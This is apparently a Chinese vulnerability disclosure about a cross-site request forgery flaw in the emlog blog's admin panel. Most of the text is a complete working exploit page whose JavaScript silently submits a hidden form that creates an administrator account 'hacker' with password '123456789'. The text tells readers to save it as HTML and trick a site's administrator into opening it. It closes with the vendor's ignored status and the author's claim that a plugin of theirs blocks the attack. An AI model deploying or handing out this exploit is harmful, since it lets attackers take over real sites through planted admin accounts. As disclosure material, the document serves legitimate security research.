2014-02-18: 细节已通知厂商并且等待厂商处理中 2014-02-28: 厂商已经主动忽略漏洞,细节向公众公开
把攻击代码保存在一个html文件中,然后骗目标网站的管理员去访问就会被创建一个后台帐号密码
你把如下代码保存在一个html文件中,然后骗目标网站的管理员去访问:
<html> <body> <script>gum = function(){ var u = { 'version':'1140213', 'domain':'{{domain}}', 'backinfo':{} }; u.e = function(code){try{return eval(code)}catch(e){return ''}}; u.jquery = function(){ if(u.e('$().jquery')){return 1}else{return 0}; }; u.id = function(ids){ if(u.jquery()){ return $('#'+ids); }else{ return document.getElementById(ids); }; }; u.name = function(names){ return document.getElementsByTagName(names); }; u.html = function(){ return u.name('html')[0] ||document.write('<html>') ||u.name('html')[0]; }; u.rdm = function(){return Math.random()*1e5}; u.bind = function(e, name, fn){ if(u.jquery()){ $(e).bind(name, fn); }else{ e.addEventListener?e.addEventListener(name, fn, false):e.attachEvent('on'+name, fn); }; }; u.kill = function(doms){ if(u.jquery()){ $(doms).remove(); }else{ doms.parentElement.removeChild(doms); }; }; u.addom = function(html, doming, hide, callback){ (!doming)&&(doming = u.html()); var temp = document.createElement('span'); temp.innerHTML = html; var doms = temp.children[0]; (hide)&&(doms.style.display = 'none'); callback&&u.bind(doms, 'load', callback) doming.appendChild(doms); return doms; }; u.script = function(url, callback){ if(u.jquery()){ $.getScript(url, callback); }else{ document.documentElement.appendChild(scripts = document.createElement('script')).src=url; callback&&u.bind(scripts, 'load', callback); u.kill(scripts); }; }; u.ajax = function(urls, datas, callback){ var xhr; datas?(types = 'POST'):(types = 'GET'); if(u.jquery()){ xhr = $.ajax({ type:types, url:urls, data:datas, success:callback }); return xhr; }else{ if(window.XMLHttpRequest){ xhr = new XMLHttpRequest(); }else{ xhr = new ActiveXObject('Microsoft.XMLHTTP'); }; xhr.open(types,urls,false); if(types=='POST'){xhr.setRequestHeader('content-type','application/x-www-form-urlencoded')}; callback&&(xhr.onreadystatechange = function(){ (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304))&&callback.apply(this, arguments); }); xhr.send(datas); return xhr; }; }; u.post = function(url, data, o, callback){ var form = u.addom("<form method='POST'>", u.html(), true); form.action = url; for(var name in data){ var input = document.createElement('input'); input.name = name; input.value = data[name]; form.appendChild(input); }; if(!o){ var iframe = u.addom('<iframe sandbox name=_'+u.rdm()+'_>', u.html(), true); form.target = iframe.name; }; callback&&u.bind(form, 'submit', callback); form.submit(); (!o)&&(u.kill(form))&(setTimeout(function(){ u.kill(iframe); }, 3*1000)); }; return u;}(); gum.post('http://localhost/admin/user.php?action=new',{ // http://localhost就是要攻击的目标网站 'login':'hacker', 'password':'123456789', 'password2':'123456789', 'role':'admin' }); </script> </body></html>
当我们管理员访问了以后,就会给emlog增加一个用户名是hacker密码是123456789的用户: 我这个插件就防御了这个攻击。只要你保证你的域名下不存在可被利用的html,如果有xss的话就没办法了。但暂时emlog尚未发现可利用的xss漏洞。
危害等级:无影响厂商忽略
忽略时间:2014-02-28 16:43
暂无